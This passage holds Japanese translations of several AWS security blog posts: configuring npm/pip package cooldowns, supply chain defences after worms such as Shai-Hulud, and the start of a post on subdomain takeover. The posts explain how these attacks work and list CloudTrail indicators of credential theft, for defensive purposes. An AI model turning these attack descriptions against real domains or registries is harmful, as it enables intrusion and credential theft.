によるロックファイルベースのインストールでは、最新のパッケージ更新は取り込まれません。これらのインストールには、クールダウンは適用されません。クールダウンが影響するのは、新規または更新されたパッケージの解決のみです。詳細については、 「ロックファイルベースのインストールとクールダウン」 セクションを参照してください。 前提条件 次のソリューションを実装するには、以下の前提条件を満たしている必要があります。 Node.js 24 と npm 11.10.0 以降 (nodejs24-24.14.1-1.amzn2023.0.1 以降に含まれる) Python 3.14 と pip 26.1 (python3.14-pip-26.1.1-1.amzn2023.0.1 以降に含まれる) pip-audit (Python パッケージをスキャンするツールで、既知の欠陥に基づいてクールダウンをオーバーライドするスクリプトに必要)。インストールするには、 python3.14 -m pip install pip-audit を使用します。 Node.js と Python の今後のバージョンでは、新しいコマンドが導入されます。以下のツールコマンドは、Node.js 24 と Python 3.14 を使用する Amazon Linux 2023 で動作します。記載しているコマンドは特定のパッケージバージョンを対象としているため、それ以降のリリースを使用する場合はコマンドを調整してください。 npm のクールダウンを設定するには Node.js のバージョンに応じたグローバル設定ディレクトリを作成します。 sudo mkdir -p /usr/lib/nodejs24/etc クールダウン設定を含む npm 設定ファイルを追加します。 sudo npm-24 config set min-release-age 1 --location=global 次のコマンドを実行して、クールダウンが有効になっていることを確認します。 npm-24 config list 出力に before = "<timestamp from 24 hours ago>" と表示されれば、npm が 1 日のクールダウンを日付フィルターに変換したことを確認できます。 詳細については、 npm min-release-age のドキュメント を参照してください。 pip のクールダウンを設定するには クールダウン設定を含むシステム全体の pip 設定ファイルを作成します。 sudo python3.14 -m pip config set --global global.uploaded-prior-to P1D 設定を確認します (Python 3.14 および pip 26.1 以降の場合)。 python3.14 -m pip config list 出力に global.uploaded-prior-to='P1D' と表示されます。 古いバージョンの pip (25.x) はこの設定を警告なしで無視するため、この設定はすぐにデプロイしても問題ありません。 クールダウンなしでパッケージの最新バージョンをインストールするには セキュリティ修正を受け取りたい場合など、パッケージの最新バージョンをインストールするにはどうすればよいでしょうか? 以下のセクションでは、ツールのコマンドラインでフラグをオーバーライドする方法を説明します。緊急の更新が必要なパッケージを特定するには、使用しているパッケージマネージャーに対応する監査コマンドを実行します。 npm audit または python3.14 -m pip_audit npm パッケージの場合 クールダウンをオーバーライドしてパッケージをインストールします。 npm-24 install <package-name> --min-release-age=0 pip パッケージの場合 クールダウンをオーバーライドしてパッケージをインストールします。 python3.14 -m pip install <package-name> --uploaded-prior-to="P0D" 緊急の更新が必要なパッケージを更新する 既知のセキュリティリスクがあるパッケージには、セキュリティ修正を適用することをお勧めします。セキュリティ修正を適用するために、クールダウンを完全に無効にする必要はありません。監査ツールで既知の問題があるパッケージを特定し、それらのパッケージに限ってクールダウンをオーバーライドします。 前提条件: Python 3 と pip-audit がインストールされていることを確認してください (python3.14 -m pip install pip-audit)。 重要: これらのスクリプトは考え方を示すためのものです。本番環境で使用する場合は、エラー処理、ログ記録、テストを追加してください。また、自動化されたパイプラインでパッケージを更新する前に、パッケージをレビューしてください。 npm パッケージの場合 次のスクリプトは、既知のセキュリティ修正がある npm パッケージを特定するために必要な手順を示しています。npm audit コマンドは、該当するパッケージを JSON 形式で出力します。次に、npm install コマンドでこのリストのパッケージを更新します。このとき、最新バージョンが取得されるようにクールダウンをオーバーライドします。 npm audit --json | python3 -c " import json, sys, subprocess data = json.load(sys.stdin) for pkg in data.get('vulnerabilities', {}): subprocess.run(['npm-24', 'install', f'{pkg}@latest', '--min-release-age=0']) " pip パッケージの場合 次のスクリプトは、既知のセキュリティ修正がある pip パッケージを特定するために必要な手順を示しています。pip_audit コマンドは、該当するパッケージを JSON 形式で出力します。次に、クールダウンをオーバーライドする pip install コマンドで、このリストのすべてのパッケージを更新し、最新バージョンを取得できるようにします。 python3.14 -m pip_audit --format=json | python3.14 -c " import json, sys, subprocess from packaging.version import Version data = json.load(sys.stdin) for dep in data.get('dependencies', []): pkg = dep['name'] vulns = dep.get('vulns', []) if not vulns: continue fix_versions = [v for vuln in vulns for v in vuln.get('fix_versions', [])] if not fix_versions: print(f'{pkg}: vulnerable but no fix published, skipping') continue fix = max(fix_versions, key=Version) print(f'Updating {pkg} -> {fix}') subprocess.run(['python3.14', '-m', 'pip', 'install', f'{pkg}=={fix}', '--uploaded-prior-to=P0D']) " ロックファイルベースのインストールとクールダウン 固定されたバージョンを指定して npm ci または pip install -r requirements.txt を使用する場合、クールダウンは適用されません。これらのコマンドは、パッケージが公開されてからの経過時間にかかわらず、ロックファイルで指定された内容をインストールします。クールダウンが影響するのは、新規または更新されたパッケージの解決のみです。 業界での採用: PyPI と Node.js のエコシステム全体で広がるクールダウンの利用 主要なパッケージマネージャーや企業が、依存関係のクールダウンを採用し始めています。2026 年 5 月時点で、広く使われている複数のパッケージ管理ツールにクールダウン機能が搭載されています。具体的には、pnpm (高速な Node.js パッケージマネージャー)、Renovate (依存関係の自動更新ツール)、StepSecurity (サプライチェーンセキュリティプラットフォーム) です。 pnpm 11 では、 minimumReleaseAge がデフォルトで有効になっています。pnpm は、クールダウンをオプトインではなくオプトアウト方式にした最初の主要なパッケージマネージャーの 1 つです。 Renovate の config best-practices プリセットには 2025 年から 3 日間の npm クールダウンが含まれており、多くの企業で採用されています。 StepSecurity Secure Registry は、エンタープライズ顧客向けに、設定可能なクールダウン期間を採用しています。StepSecurity は、デフォルトとして 10 日間の遅延を推奨しています。 AWS によるオープンソースサプライチェーンの保護への取り組み AWS は、予期しないパッケージがお客様に届く前に検出できるよう、アップストリームのパッケージレジストリをスキャンしています。 Amazon Inspector は、ソフトウェアの脆弱性とネットワークの露出がないかワークロードを継続的にスキャンするセキュリティ管理サービスで、AI 支援の検出ルールを使用してアップストリームのパッケージレジストリもスキャンしています。2025 年には、Amazon Inspector の研究者が、トークンファーミングキャンペーンに関連する 15 万件以上の予期しない npm パッケージを特定 しました。 AWS Security は、 Shai-Hulud ワーム と axios イベント に関する詳細な対応ガイダンスを公開しました。 AWS は、 Open Source Security Foundation の 1,250 万ドル規模のオープンソースセキュリティ助成金 に拠出し、エコシステム全体に利益をもたらすプロアクティブなスキャンインフラストラクチャに資金を提供しています。 予期しないパッケージは通常、公開から数時間以内に検出されます。1 日のクールダウンを設定しておけば、この検出期間中にそれらのパッケージをインストールしてしまうことはありません。 推奨事項 Amazon Linux 2023 の設定を保護するには、以下を実施してください。 1 日のクールダウンを設定する : 前述のセクションで示したとおり、npm と pip に設定します。外部レジストリには人によるレビューがないため、防御側が問題を検出できる時間を確保してください。 必要に応じてオーバーライドする : 緊急のセキュリティパッチを適用する場合は、コマンドごとのフラグを使用します。 npm audit または pip_audit を実行する : 定期的に実行し、すぐに対応が必要なパッケージを特定します。 クールダウンは 1 行の設定で有効にでき、すぐに保護が適用されます。 まとめ この記事で紹介したソリューションを実装すると、npm と PyPI の環境を、予期しないコードが入り込むケースの大半から保護できます。1 日の更新遅延により、最新のセキュリティ修正を適用できる状態を保ちながら環境を保護できます。環境をさらに保護する方法については、次のリソースを参照してください。 Node.js セキュリティのベストプラクティス npm min-release-age のドキュメント Pip Secure installs のドキュメント pip uploaded-prior-to のドキュメント OpenSSF Best Practices Amazon Linux 2023 のドキュメント Norbert Manthey Norbert は Amazon Linux チームのセキュリティエンジニアで、Amazon EC2 のハイパーバイザーとオペレーティングシステム全体にわたるプロアクティブなセキュリティに注力しています。オペレーティングシステムのデフォルト設定の強化、静的分析と AI 駆動の分析によるコードの問題の早期検出、Amazon Linux に同梱されるパッケージのサプライチェーンセキュリティの向上に取り組んでいます。また、これらのプロセス改善の自動化、ソフトウェア開発ライフサイクルへの組み込み、シフトレフトを提唱しています。 本ブログは Security Solutions Architect の 中島 章博 が翻訳しました。

本ブログは 2026 年 5 月 26 日に公開された AWS Blog “ Well-architected best practices for software supply chain security ” を翻訳したものです。 npm Registry を悪用した注目すべきサプライチェーン攻撃が相次いでいます。Shai-Hulud、Chalk/Debug、tea.xyz トークンを悪用した攻撃、そして最近では axios などです。 Amazon Inspector チームや Open Source Security Foundation などが参加したコミュニティの取り組みにより、影響を受けたパッケージは迅速に特定され、これらのインシデントの影響を抑えることができました。 Shai-Hulud のようなサプライチェーン攻撃は、2 つの側面の脆弱性を突きます。1 つは、侵害されて悪意のあるパッケージの公開に使われるメンテナーアカウントです。もう 1 つは、それらのパッケージをダウンロードして実行する利用者の環境です。図 1 に示す Shai-Hulud 攻撃が成功したのは、フィッシングによってメンテナーの認証情報が侵害され、脅威アクターが人気パッケージの悪意のあるバージョンを公開できたためです。このようなインシデントは、ソフトウェアサプライチェーンにおける強固なセキュリティプラクティスの必要性を浮き彫りにしています。効果的に防御するには、両方の側面に対処する必要があります。パッケージメンテナーには、アカウントの侵害を防ぎ、認証情報が盗まれた場合でも被害の拡大を抑える保護策が必要です。パッケージ利用者には、悪意のあるパッケージを検出してデプロイを防ぎ、侵害が発生した場合の被害を抑える多層的な防御が必要です。 この記事では、パッケージ利用者向けのベストプラクティスを紹介します。これらのプラクティスは「 AWS Well-Architected フレームワーク – セキュリティの柱 」に沿ったもので、類似の脅威にさらされるリスクを低減し、万一脅威が発生した場合の影響を抑えるのに役立ちます。 図 1: Shai-Hulud 攻撃の流れを示すアーキテクチャ図 一時的な認証情報を使用し、最小権限を付与する Shai-Hulud は、開発者環境や継続的インテグレーションおよび継続的デリバリー (CI/CD) パイプラインで実行されると、npm トークン、GitHub トークン、 AWS Identity and Access Management (IAM) のアクセスキーなどのシークレットを探索しました。こうして漏えいした長期的な認証情報により、脅威アクターはマルウェアをさらに拡散させ、クラウドリソースにアクセスできるようになりました。最近のインシデントでは、漏えいした IAM 認証情報ペアを複数発見した組織が、他にも認証情報が漏えいしていないか、CI/CD パイプラインが侵害されていないかを懸念する事例も見られました。 開発者環境や CI/CD パイプラインから長期的な認証情報を排除すれば、システムが侵害された場合でも漏えいの範囲を縮小できます。ローカルで作業する開発者は、 新しい AWS CLI のログインコマンド ( aws login ) を使用することで、短期間有効な CLI 認証情報を簡単に取得でき、設定ファイルに長期的な認証情報を保存する必要がなくなります。 AWS IAM Identity Center でも、自動的に有効期限が切れる一時的な認証情報を簡単に取得できます。CI/CD パイプラインでは、GitHub Actions や GitLab CI などのプラットフォームとの OpenID Connect (OIDC) フェデレーションを利用することで、長期的なトークンを保存せずに、ジョブごとに一時的な認証情報を取得できます。また、 IAM は AWS のアイデンティティを外部サービスにフェデレーションすることもできます 。これにより、AWS のワークロードは長期的な認証情報を使用せずに外部サービスへ安全にアクセスできます。一時的な認証情報は自動的に有効期限が切れるため、万一パイプラインが侵害されても、漏えいの影響を受ける期間を限定できます。 一時的な認証情報に対応していないサードパーティのサービスを利用する場合は、 AWS Secrets Manager を使用して認証情報を一元的に保管することを検討してください。シークレットへのアクセスを制限し、一時的な認証情報の使用を必須とするとともに、自動ローテーションと監査ログを適用して、これらの認証情報が漏えいするリスクを低減してください。 認証情報の漏えいによるリスクを低減するための対策は次のとおりです。 一時的な認証情報を使用する : 一元的な ID プロバイダーから AWS にユーザーをフェデレーションし、IAM ロールを使用してアクセスします。詳細については、「 SEC02-BP02: 一時的な認証情報を使用する 」を参照してください。 最小権限を付与する : 必要最小限の権限のみを割り当て、時折高い権限が必要になる場合は、一時的に昇格した権限を使用します。詳細については、「 SEC03-BP02: 最小権限のアクセスを付与する 」を参照してください。 長期的な認証情報を監査およびローテーションする : 特定のユースケースで長期的な認証情報が必要な場合は、監査とローテーションを行います。詳細については、「 SEC02-BP05: 認証情報を定期的に監査およびローテーションする 」を参照してください。 認証情報が漏えいした可能性のあるセキュリティインシデントが発生した場合は、影響範囲を限定するために、すべての長期的な認証情報を直ちにローテーションしてください。また、 Amazon GuardDuty と AWS CloudTrail を使用して、異常な IAM アクティビティを検出し、侵害された可能性のある認証情報を特定してください。 多層防御を実装する 一時的な認証情報と最小権限を適用していても、アカウントが 1 つ侵害されるだけで、脅威アクターに悪意のあるパッケージを公開されたり、機密性の高いリソースにアクセスされたりするおそれがあります。多層防御では、連携して機能する複数の保護レイヤーを構築することで、最初の侵害後に被害が拡大するのを防ぎます。すべての操作に承認ワークフローを追加するとデプロイの速度が大幅に低下しますが、機密性の高いワークロードに絞って戦略的に導入すれば、スピードとセキュリティのバランスを取ることができます。 重要な原則は、1 つの認証情報やアカウントが侵害されても、追加の制御によって侵害が組織全体に広がらないようにすることです。具体的には、アクセス時の多要素認証 (MFA) と、機密性の高いワークロード用に分けた IAM ロールを組み合わせます。開発者が 1 人だけのオープンソースプロジェクトでは、複数のメンテナーによる職務の分離ができないため、MFA の重要性がさらに高まります。 チームで作業するパッケージメンテナーの場合、本番環境へのパッケージのリリースに複数人による承認を必須とすることで、職務の分離を実現できます。ただし、開発者はデプロイパイプラインを開始するマージリクエストを作成できるため、機密性の高いデプロイでは、パイプライン自体に複数人による承認を組み込む必要があります。こうすることで、開発者の認証情報が侵害されてデプロイがトリガーされても、本番環境へのリリース前にパイプラインが追加の承認を要求します。 パッケージ利用者の場合は、デプロイパイプラインに複数人による承認ワークフローを組み込むことで、悪意のあるパッケージが初期スキャンをすり抜けても、本番環境へのデプロイ前に人によるレビューで不審な変更に気付ける可能性が高まります。アーティファクト署名は、こうしたプロセス上の制御を補完する暗号学的なレイヤーとして機能します。 Shai-Hulud 攻撃が成功したのは、侵害されたメンテナーの認証情報を使って、脅威アクターが悪意のあるパッケージをパブリックな npm レジストリに直接公開できたためです。パッケージ利用者にとっての防御策は、パブリックレジストリから取得したパッケージが検証を経ずに本番環境に到達できないようにすることです。アーティファクト署名は、こうした多層的なアプローチを具体的に実装する手段の 1 つです。署名によって、パッケージやコンテナイメージを、それを生成したアイデンティティに暗号学的に結び付けることで、ビルドのトリガーに使用された認証情報とは独立した検証レイヤーを構築できます。つまり、開発者の認証情報が侵害されただけでは、未検証のアーティファクトをデプロイパイプラインに持ち込むことはできません。 多層防御の一環としてのアーティファクト署名 AWS Signer はパッケージに暗号署名を付与し、多層防御戦略の中に追加の検証レイヤーを構築します。署名の認可モデルでは責任を分離し、開発者の認証情報には署名権限を付与しないようにします。 signer:SignPayload API を使用して署名する権限は、CI/CD パイプラインのロールにのみ付与します。Signer は、FIPS 140-3 レベル 3 の検証を受けたハードウェアセキュリティモジュール (HSM) に署名キーを保存し、強力な暗号保護を提供します。 図 2 に示すコンテナイメージの署名ワークフローを見ると、署名を既存のプロセスにシームレスに組み込めることがわかります。 開発者または CI/CD パイプラインがコンテナイメージをビルドし、 Amazon Elastic Container Registry (Amazon ECR) にプッシュします 新機能の Amazon ECR マネージド署名 を使用すると、イメージのプッシュ時に Amazon ECR が自動的に署名をトリガーします Amazon ECR がイメージダイジェストと署名プロファイルを指定して Signer を呼び出します Signer が署名プロファイルの権限を検証し、FIPS 140-3 レベル 3 の検証済み HSM に保存されているキーを使用してイメージダイジェストに署名します 署名は Open Container Initiative (OCI) アーティファクト形式で、Amazon ECR 内のイメージと一緒に保存されます デプロイ時には、アドミッションコントローラー ( Amazon Elastic Kubernetes Service (Amazon EKS) の場合は Kyverno) や Amazon Elastic Container Service (Amazon ECS) のライフサイクルフックが、デプロイを許可する前に署名を検証します 図 2: Signer の署名ワークフローを示す図 独自の署名インフラストラクチャを構築する場合と比べた Signer のメリットは次のとおりです。 フルマネージド : 独自の署名インフラストラクチャの構築や証明書のライフサイクル管理が不要です 自動化 : Amazon ECR マネージド署名は、イメージのプッシュ時に手動の手順なしで自動的に実行されます 一元的なガバナンス : 1 つの署名プロファイルを複数のアカウントやパイプラインで使用できます ネイティブ統合 : Amazon EKS での署名検証のために、Notation および Kyverno との統合が組み込まれています FIPS 140-3 レベル 3 準拠 : 暗号操作に関する厳格な規制要件を満たします すべての署名オペレーションの監査ログを記録しておけば、新しい IP アドレスからの署名、通常とは異なる時間帯の署名、署名ジョブの短時間での連続実行といった異常なパターンを検出できます。システム内のすべての認証情報について、誰が何にアクセスできるのか、どのように本人確認を行うのか、その認証情報が侵害された場合に被害の拡大を防ぐ第 2 のレイヤーは何かを検討してください。アーティファクト署名を一元的なストレージやソフトウェア部品表 (SBOM) と組み合わせることで、改ざんや悪意のあるパッケージに対する多層的な保護を実現できます。 依存関係を一元管理する パッケージと依存関係の管理を一元化すると、アプリケーションで使用する前に依存関係を検証、承認できる他、サプライチェーンのセキュリティインシデント発生時に依存関係をすばやく監査できます。最近のインシデントでは、社内のアーティファクトリポジトリで侵害された npm パッケージが見つかり、影響を受けた可能性のあるアプリケーションを迅速に洗い出す必要に迫られた組織もありました。 AWS では、 AWS CodeArtifact を使用して組織のソフトウェアパッケージをホストおよび管理できます。パッケージグループ設定を使用すると、承認済みのアップストリームソースのリストを定義し、それ以外へのアクセスをブロックできます。これは、正規のパッケージによく似た名前で悪意のあるパッケージを公開するタイポスクワッティング攻撃に対する直接的な対策となります。インストール時に開発者が不審なパッケージ名を見抜くことに頼るのではなく、パッケージグループ設定によって、承認済みのアップストリームソース以外へのアクセスをリポジトリレベルで制限できます。また、一元化することで、依存関係のバージョンを固定して自動更新による悪意のあるバージョンの取り込みを防げる他、インシデント発生時にはソフトウェアポートフォリオ全体から侵害された依存関係をすばやく削除できます。 コンテナイメージについては、Amazon ECR が、 AWS Key Management Service (AWS KMS) による暗号化とライフサイクルポリシーを備えた一元的なイメージストレージを提供します。Amazon ECR と Amazon Inspector のスキャンを組み合わせて、イメージの完全性を継続的に検証してください。 詳細なガイダンスについては、「 SEC11-BP05: パッケージと依存関係のサービスを一元化する 」を参照してください。 npm の来歴証明 特に npm パッケージについては、来歴証明 (provenance attestation) が利用者側の補完的な制御となります。npm 9.5 以降で利用できる npm の来歴証明は、Sigstore を署名基盤として使用し、公開されたパッケージを、それを生成したソースリポジトリおよび CI/CD ワークフローに関連付けます。パッケージのインストール時に、npm CLI は公開されたアーティファクトが証明されたビルドの来歴と一致することを検証できるため、ビルドから公開までの間にパッケージが改ざんされていないという確信が得られます。オープンソースの npm パッケージを利用する組織にとって、新しい依存関係を追加する前に来歴証明の有無を確認することは、少ない手間でサプライチェーンの完全性を判断できる手がかりになります。npm にパッケージを公開するメンテナーは、GitHub Actions などのサポートされている CI/CD 環境で npm publish --provenance を実行すると、来歴証明を有効にできます。 詳細なガイダンスについては、「 SEC11-BP06: ソフトウェアをプログラムでデプロイする 」、および AWS Well-Architected フレームワークの DevOps レンズにある「 DL.CS.2: Sign code artifacts after each build 」を参照してください。 ソフトウェア開発ライフサイクル全体で依存関係をスキャンする AWS は、開発からデプロイまで依存関係を継続的にスキャンするためのサービスを提供しています。 開発時 : Kiro は、コードレビュー中にソフトウェア構成分析を実行して、脆弱なサードパーティコードを特定できます。 コードリポジトリとパイプライン : Amazon Inspector は、ファーストパーティコード、サードパーティの依存関係、Infrastructure as Code の脆弱性をスキャンします。 コンテナイメージ : Amazon Inspector は、Amazon ECR イメージの脆弱性を継続的にスキャンします。また、Amazon Inspector を CI/CD パイプラインに直接統合すれば、Amazon ECR へのプッシュやデプロイの前にイメージをスキャンできるため、リリースサイクルの早い段階で侵害された依存関係をブロックできます。 従来の脆弱性スキャナーは、既知の CVE (識別子が割り当てられ、公開されている脆弱性) を対象としています。一方、Shai-Hulud のようなサプライチェーン攻撃で使われる悪意のあるパッケージは、ゼロデイとして機能します。これらは脅威アクターが意図的に作成したもので、CVE が割り当てられる前から積極的に悪用されます。CVE データベースに依存する従来の脆弱性スキャナーでは、これらのパッケージが正式に特定されてカタログに登録されるまで検出できず、それまでに数日から数週間かかることもあります。 こうしたパッケージを検出するには、静的なシグネチャマッチングだけでなく、大規模な振る舞い分析とコミュニティの連携が欠かせません。AWS は、その大規模な運用を通じて、MadPot などから得られる脅威インテリジェンスや数百万のお客様にわたるインシデント対応データを活用し、複数の環境で不審なパッケージの振る舞いを同時に検出できます。新しく公開されたパッケージが、公開から数時間以内に複数のお客様のアカウントで認証情報の窃取を試みる振る舞いを示した場合、こうしたアカウント横断のシグナルによって迅速に特定できます。これらの検出結果は、OpenSSF Malicious Packages Repository ( github.com/ossf/malicious-packages ) などのコミュニティが管理するデータベースに提供されます。このデータベースは正式な識別子 (MAL-ID) を割り当て、セキュリティコミュニティ全体で共有します。tea.xyz のトークンファーミングキャンペーンでは、報告から正式な特定までにかかった時間は平均で約 30 分でした。Amazon Inspector などの AWS サービスはこのコミュニティのサイクルに参加しており、検出結果を提供するとともに、新たに割り当てられた MAL-ID を取り込んで、お客様の環境内の脅威を可視化します。 関連する脅威モデルとして理解しておきたいのが、スリーパーパッケージです。スリーパーパッケージとは、公開時には無害に見え、一定時間の経過後や特定の条件が満たされた後に初めて悪意のある振る舞いを開始するパッケージです。インストール時点では悪意のあるペイロードが存在しないか有効になっていないため、静的分析だけではこうしたパッケージを捕捉できません。Amazon Inspector の振る舞い分析は、特にこの種の脅威の検出を目的として設計されており、静的な脆弱性スキャンを補完します。 SPDX または CycloneDX 形式の SBOM を使用すると、インシデント発生時に影響をすばやく評価できます。サプライチェーンのインシデントに対応する際は、SBOM を使用して侵害されたパッケージを含むアプリケーションを特定し、修復の優先順位を付け、影響範囲を評価します。Shai-Hulud インシデントでは、侵害されたパッケージ (MAL-2025-46974 および CVE-2025-59144) が早期に特定され、お客様が具体的に対処し、すばやく修復できる検出結果が提供されました。一方で、スキャンを有効にしていてもアラート疲れに陥っていた組織では重要なアラートを見逃した可能性があり、アラートの適切なルーティングと優先順位付けの重要性が浮き彫りになりました。 図 3: 悪意のあるパッケージの検出結果を表示している Amazon Inspector コンソールのスクリーンショット 詳細なガイダンスについては、「 SEC11-BP02: 開発およびリリースライフサイクル全体でテストを自動化する 」を参照してください。 ログ記録とモニタリングを設定する 異常な振る舞いを早期に検出するには、アクティビティを可視化することが不可欠です。ログ記録を設定し、分析できるようにログを一元化します。 アプリケーションとサービスのログ記録を有効にします 複数のアカウントにわたるログを一元化してモニタリングします GuardDuty を使用して、悪意のあるアクティビティや異常な API コールを継続的にモニタリングします AWS Security Hub で検出結果を集約し、 AWS Config で設定のベストプラクティスを適用します CloudTrail のログは、認証情報へのアクセスや API アクティビティの監査証跡となります。サプライチェーンのインシデントに対応する際は、CloudTrail ログを確認し、認証情報の侵害や悪意のあるアクティビティを示す特定のイベントを探してください。具体的には、想定外の IP アドレスやリージョンからの sts:AssumeRole の呼び出し、見慣れないソースからの secretsmanager:GetSecretValue または ssm:GetParameter の呼び出し、CI/CD パイプラインを経由せずに開発者のワークステーションから実行された ecr:PutImage 、通常のデプロイ時間帯以外に実行された lambda:UpdateFunctionCode 、直後に API アクティビティが続く iam:CreateAccessKey 、通常とは異なる IP アドレスからの codecommit:GitPush または codebuild:StartBuild などです。 Amazon EventBridge ルールと組み合わせれば、Amazon Inspector が悪意のあるパッケージを検出したときや、こうした通常とは異なる認証情報へのアクセスパターンが発生したときに、自動対応をトリガーできます。 最近のサプライチェーン攻撃の影響を受けた組織は、CloudTrail の分析によって認証情報の漏えい範囲を判断し、侵害された認証情報でアクセスされた可能性のあるリソースを特定しています。このフォレンジック機能は、影響範囲を把握し、修復を漏れなく行うために不可欠です。 詳細なガイダンスについては、「 SEC04: 検出 」のベストプラクティスを参照してください。 多層防御戦略を構成するこれらの要素が連携して機能することで、最初の侵害後の被害の拡大を防ぎ、イベントの検出と対応を支援します。図 4 に、これらの要素の全体像を示します。 図 4: 防御アーキテクチャを示す図 その他のベストプラクティス Well-Architected フレームワークのセキュリティの柱では、組織のあらゆる側面でセキュリティプロセスを改善するのに役立つ、組織的なベストプラクティスも提供しています。関連するベストプラクティスとしては、「 SEC11-BP01: アプリケーションセキュリティのためのトレーニングを実施する 」、「 SEC11-BP08: ワークロードチームにセキュリティオーナーシップを組み込むプログラムを構築する 」、および「 SEC10: インシデント対応 」があります。 まとめ Shai-Hulud、Chalk/Debug、tea.xyz などの最近のインシデントは、脅威アクターがアタックサーフェスの拡大と攻撃の拡散を狙い、パッケージレジストリ、CI/CD パイプライン、開発者の認証情報を継続的に標的にしていることを示しています。侵害されたメンテナーアカウントや悪意のあるパッケージが 1 つあるだけで、数千もの利用者の環境に同時に被害が広がる可能性があります。この記事で紹介した制御は、こうした脅威モデルを念頭に置いて設計されています。一時的な認証情報は、盗まれたトークンが攻撃者にとって持つ価値を限定し、依存関係の一元管理とアップストリームのブロックはレジストリレベルでアタックサーフェスを縮小します。アーティファクト署名により、ビルドパイプラインが侵害されても、署名されていないアーティファクトが本番環境に到達することはありません。さらに、ソフトウェアライフサイクル全体で依存関係をスキャンすることで、侵害されたパッケージを影響が出る前に早期に特定できます。レイヤーを重ねるごとに、脅威アクターが付け入る隙は狭まっていきます。 詳細情報 このトピックをさらに詳しく知るには、次のブログとワークショップを参照してください。 サプライチェーン攻撃への防御策: Chalk/Debug 侵害と Shai-Hulud ワームの対応事例から Amazon Inspector がトークンファーミングキャンペーンに関連する 15 万件以上の悪意ある npm パッケージを検出 最近の npm サプライチェーン攻撃への対応から AWS Security が学んだこと Amazon CodeArtifact パッケージグループ設定を使用してソフトウェアサプライチェーンのセキュリティを強化 Hands-on Workshop: Enhancing Supply Chain Security Trevor Schiavone Trevor は、アプリケーション開発とアーキテクチャのバックグラウンドを持つ Senior Solutions Architect です。ビルダーの視点を活かし、お客様が AWS 上で安全かつスケーラブルで革新的なソリューションを設計できるよう支援しています。また、アプリケーションセキュリティとアイデンティティを重点分野として、AWS のセキュリティコミュニティでも積極的に活動しています。 Desiree Brunner Desiree は、AWS EMEA Security & Compliance チームに所属し、規制業界のお客様を担当する Security Specialist Solutions Architect です。DevOps とプラットフォームエンジニアリングのバックグラウンドを活かし、お客様が安全でコンプライアンス要件を満たすクラウド環境を設計できるよう支援しています。メンタルヘルスと知識の共有に情熱を注いでおり、AWS のイベントで定期的に登壇するとともに、各チームのクラウドセキュリティの取り組みを支援しています。 本ブログは Security Solutions Architect の 中島 章博 が翻訳しました。

本ブログは 2026 年 6 月 16 日に公開された AWS Blog “ Threat tactic spotlight: Subdomain takeover ” を翻訳したものです。 このブログ記事では、サブドメイン乗っ取り (subdomain takeover) を検出して防止する方法を説明します。サブドメイン乗っ取りとは、脅威アクターがダングリング DNS レコード (dangling DNS record) を悪用し、トラフィックを攻撃者が管理するリソースにリダイレクトする手口です。この記事では、この問題の概要と発生する仕組みを説明し、さまざまな AWS の機能やサービスを使用してこの手口の影響を緩和する方法を紹介します。 責任共有モデル では、クラウド内の設定のセキュリティを確保することはお客様の責任です。AWS は、強固なデフォルト設定、 Well-Architected フレームワークのセキュリティの柱 のガイダンス、およびセキュリティサービスを通じて、お客様がその責任を果たせるよう支援しています。また、AWS Customer Incident Response Team (AWS CIRT) は、お客様の特定の設定を悪用するために脅威アクターが使用する新たな手口や流行している手口を監視しています。これにより、お客様は十分な情報に基づいて設計上の判断を下し、対応計画を改善できます。 AWS CIRT は、サブドメイン乗っ取りの機会を狙う脅威アクターが、既に存在しないリソースを指すパブリック DNS の CNAME レコードを積極的にスキャンしていることを確認しています。 注: サブドメイン乗っ取りの手口は、AWS サービスの脆弱性を利用するものではありません。ダングリング DNS レコードを悪用して、トラフィックを攻撃者が管理するリソースにリダイレクトするものです。 DNS の基礎知識 CNAME レコード: CNAME (Canonical Name) レコードは、あるドメイン名を別のドメイン名に向ける DNS エントリです。例えば、api.example.com が api.example.s3-website-us-east-1.amazonaws.com を指すように設定できます。DNS のこの機能により、実際のリソースには機械的に生成された長い AWS ホスト名が割り当てられていても、お客様は覚えやすくわかりやすいドメイン名を設定できます。ただし、ターゲットのリソースを削除した後もそれを指す CNAME レコードが残っていると、「ダングリング」レコードとなり、セキュリティ上の問題が生じます。 ダングリングレコード: リソース (S3 バケットなど) を削除した後もそれを指す DNS レコードが残っている場合、その DNS レコードは存在しないリソースを指す「ダングリング」状態になります。グローバルに共有される名前空間内のリソースの場合、脅威アクターが削除済みのリソース名を取得し、お客様の DNS レコードを通じて悪意のあるコンテンツを配信できる可能性があります。 サブドメイン乗っ取りとは？ サブドメインとは、ドメインの前に付加するプレフィックスで、リソースへのアクセスを整理するために使用します。サブドメイン乗っ取りは、お客様が基盤となるリソースを削除した後、脅威アクターが同じ名前で新しいリソースを作成し、そのリソースを指したまま残っている DNS レコードを悪用することで発生します。 サブドメイン乗っ取りが起こり得るのは、グローバルに共有される DNS 名前空間を使用する AWS リソースを CNAME レコードが指している場合です。このような名前空間では、AWS のお客様であれば誰でもリソース名を選択できます。次の AWS リソースがこの条件に該当します。 Amazon S3 (グローバル名前空間): mybucket.s3.amazonaws.com のようなバケット名はグローバルに一意であり、バケットが削除されると、どのアカウントでもその名前を取得できます。注: アカウントリージョナル名前空間 (2026 年 3 月にリリース) を使用して作成された S3 バケットは、スコープがお客様のアカウントに限定されるため、この問題の対象にはなりません。 Amazon CloudFront: d111111abcdef8.cloudfront.net のようなディストリビューションのドメイン名は AWS によって割り当てられるため、攻撃者が選択することはできません。ただし、お客様がディストリビューションを削除した後、別のお客様が新たに作成したディストリビューションにたまたま同じドメイン名が割り当てられると、ダングリング CNAME を通じて、そのお客様のコンテンツが配信される可能性があります。 AWS Elastic Beanstalk: myapp.elasticbeanstalk.com のような環境名はグローバルに一意であり、環境を終了すると、どのアカウントでもその名前を取得できます。 Amazon VPC、Amazon EC2 インスタンス、プライベートホストゾーンなどのリソースは、グローバルに取得可能な DNS 名前空間を公開していないため、この手口の対象にはなりません。 MITRE ATT&CK では、この手法を T1584.001: Compromise Infrastructure – Domains に分類しています。 シナリオ例の分析 次のシナリオを考えてみましょう。 S3 ウェブサイトエンドポイントを指す DNS CNAME レコードを作成したとします。これにより、サブドメイン subdomain.example.com は subdomain.example.s3-website-us-east-1.amazonaws.com に解決され、subdomain.example という名前の S3 バケットからコンテンツが配信されます。チームがバケットを削除した際に DNS 